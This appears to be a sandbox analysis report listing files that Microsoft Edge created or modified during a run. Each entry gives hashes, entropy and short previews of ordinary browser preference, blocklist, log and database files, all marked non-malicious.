Size (bytes):	44137
Entropy (8bit):	6.090709248264894
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+7tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6Wtbz8hu3VlXr4CRo1
MD5:	DBCBB12338CACB0D2934952C2616C11E
SHA1:	21E112551C5B0909FE7B54F9768E4A2F08602B98
SHA-256:	8B7553C47B161CD8158192A179644C63796AD15ED7595B6FE7411AC255F0A45E
SHA-512:	7561891D882AE1AD801E3A3902321614C6507A7A9DBBAADEF5790D23873339F1EECC8035FACC52C0B0C66B82ACCDBD1C5260C59B44D625A48AB0062F32056C8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\431d2e9c-4967-4686-b91a-48f132291731.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67429C35-1FEC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.43754007923315125
Encrypted:	false
SSDEEP:	3072:ico8wYVwALaYPv+TZxVK6g1HFAHvuAXhUScnBq91x4qD2gg1HF:k8wYH3PvWfVK6aHyHHR0Bq91mqD2gaH
MD5:	FFEA1BA6B7DDA8CC04888CC5DFF6BE6F
SHA1:	75008D7DE1AFA9720FD8AB948DA920C51C756C43
SHA-256:	BFB414DF1A088E9B70B919A260C9EB4BBD07E8BC72AE8E6A123A0726644D76C8
SHA-512:	128B7A64F7358B3BE6BD1D9B55829C7DF7D171AE66E89CFD5A5D834888A86C873E6A1598224272C08214B8C874EC67B6215F35ABDD2D3BCC39E968B727BA5A0D
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P..................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".gblbfy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K..>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\013fe445-27de-42b5-a47a-a334ac72eac0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\02d2c881-7e3f-4487-ad6c-3c0db8a3f68d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9782
Entropy (8bit):	5.117421795558633
Encrypted:	false
SSDEEP:	192:stC+kdGs3h3sZihUkPo3N8YbV+FRCQA66WDaFIMYKPEYJ:stC+tsx3fhnSbGsQx6WDaTY6
MD5:	0BB6E130E7551B0D61BE2D835BEC5802
SHA1:	0FA23E2F2A638C7FDDEE36739AA8294297B7ED34
SHA-256:	936A79E522C853781ECDCCCCC9C5670BBB21F1E9EACEDF6E694DBD874E1151A6
SHA-512:	7A0F82B0422D974E46F428B5D063B342A34C7F336B7EC381A70BFD59061A861E6F4B346EABF340CD02B21C5B1ED2408832276E8201FD58AAFC0BF8D750686E26
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892214514804","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\14287614-3088-4146-9848-cff2ed487ea7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\151107f8-04af-4f47-b3a9-c1b81e54c109.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	13261
Entropy (8bit):	5.283920031478495
Encrypted:	false
SSDEEP:	192:stC+J99QTryDiuabatSuyGs3h3sZihkR2pkCo3N8YbV+FRCQA66WDaFIMYKPEYJ:stC+PGQSulsx3fhkAZSbGsQx6WDaTY6
MD5:	AEF3A2620A139B8A3912340ACFE9DD22
SHA1:	3B13651891BB251C39FE3870E44F0CF9FBF040F1
SHA-256:	1860D85FABBE3894575FD512D562A54C76AB4BB8C4AA47E3C7C3DC0B212AECFB
SHA-512:	5943BB83919E166489400B4C48A5787474283E07B76E7BFD68CB395689FB7BEADFC3B2636E19AE65DADAE351E35FB29C40F99F5D4F38D159F3F9C30678D1051A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892214514804","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\201c7026-74fe-4de4-b15f-022462f023e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56752310064527
Encrypted:	false
SSDEEP:	768:IHLZikWPdpfvy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQNVW9kHrwcpftuP:IHLZikWPdpfvyu1jadLW9kUctg
MD5:	9532E4892791DFCE42C634EF1DE55E92
SHA1:	40D3F6ECFDB1D2B2CB3E6C9FC361B25D0ED14009
SHA-256:	B5051BA9063C767022F199FE50226AD4E36333F4E608DC92CD4E8F89606FD0A4
SHA-512:	4B29E90B55989513748601C8495829E09C4EFB976DBC0F8332B08B65BD655B86C6BE67992BC685E2C0D21CC531DB29D2B315B6198FACFE73F9233639EB1D3597
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892213932321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892213932321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6d84a098-9990-471b-85d2-959f1ffc1943.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.205579603263092
Encrypted:	false
SSDEEP:	6:HG+3BB1923oH+Tcwtp3hBtB2KLlVG+Kq9+q2P923oH+Tcwtp3hBWsIFUv:hMYebp3dFLL9+v4Yebp3eFUv
MD5:	72567A1646E6C1F2B61C9DBFE39387F8
SHA1:	8077A6CBE957005302F4E9D561A37B4A7B09AEDD
SHA-256:	DD0CB366B4803A2D2EFF58B954016D42B0516A79535DD9395A84E800D99267AF
SHA-512:	8CEAD391799A7CE76A4BD07289A82ED5BEE55698CB1742D1FB8899390CC27F30FD83778CD65CB5E3215BABC0C4F2D4F5250CDC085352BBB1408B9D016CCF8AF2
Malicious:	false
Preview:	2024/11/23-22:23:42.253 1c4c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/23-22:23:42.518 1c4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222868588423682
Encrypted:	false
SSDEEP:	24576:v+/PN8FjfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8tfx2mjF
MD5:	814C35F7B0A8DBE4A0B3B4AF04B0B6BE
SHA1:	04D7372B7887A4D7F44B363994AD07B544F6483E
SHA-256:	92FA16AE5DB1E4C752B059316F8974E60AFA81946017E77F7EDC7912043A7AD0
SHA-512:	8DF921909D7C87A23A56F91560344E67B05ED5645C2B58EA59D074CD199D3D8A3B91ABF375CFEA122F32B22CFE93866363F5D520361236A6C0C00E014A7DE655
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.084615401042449
Encrypted:	false
SSDEEP:	6:HG+MI+q2P923oH+Tcwt9Eh1tIFUt8YG+Z0Zmw+YG+BVkwO923oH+Tcwt9Eh15LJ:sv4Yeb9Eh16FUt8W0/++5LYeb9Eh1VJ
MD5:	7F7542964E51EF90BAE0B81DA6513DC5
SHA1:	F47B2D2BF6D9FDD774BE52AED8DE41C532311775
SHA-256:	B8455FC03FA53EEA7D1592D360CEBCF69CE13ACA5E9EC26712E7F69A959DE9F3
SHA-512:	67DF8F05E23088E9DE6810BC91259DDB7353931B7A1D12CE10351FBEFF2DD9C9280F79E0B15019BB772244CF6CAC5D47FC09E17310C3692CE5D606A3160158DB
Malicious:	false
Preview:	2024/11/23-22:23:42.320 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-22:23:42.321 1fe8 Recovering log #3.2024/11/23-22:23:42.579 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.084615401042449
Encrypted:	false
SSDEEP:	6:HG+MI+q2P923oH+Tcwt9Eh1tIFUt8YG+Z0Zmw+YG+BVkwO923oH+Tcwt9Eh15LJ:sv4Yeb9Eh16FUt8W0/++5LYeb9Eh1VJ
MD5:	7F7542964E51EF90BAE0B81DA6513DC5
SHA1:	F47B2D2BF6D9FDD774BE52AED8DE41C532311775
SHA-256:	B8455FC03FA53EEA7D1592D360CEBCF69CE13ACA5E9EC26712E7F69A959DE9F3
SHA-512:	67DF8F05E23088E9DE6810BC91259DDB7353931B7A1D12CE10351FBEFF2DD9C9280F79E0B15019BB772244CF6CAC5D47FC09E17310C3692CE5D606A3160158DB
Malicious:	false
Preview:	2024/11/23-22:23:42.320 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-22:23:42.321 1fe8 Recovering log #3.2024/11/23-22:23:42.579 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.45739219013535815
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBd:TouQq3qh7z3bY2LNW9WMcUvB
MD5:	E63DC626800BFC86F4BAFB52893B6C51
SHA1:	649B2AF5ABAF2031FBCA93835FF3F3257BB0C3AF
SHA-256:	0C09BEDCAAC04CED22181AD52BAF9EFDEF9E31A61C973308FBA34D0CAED40827
SHA-512:	828673266B5CE903C9EEDD33FB3311707EBDD29F18D120261D954D0C5F8CCC70F745045FE9B672E825DBD93063EBA8C4323559923DC1D36956562727B7FBC5A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

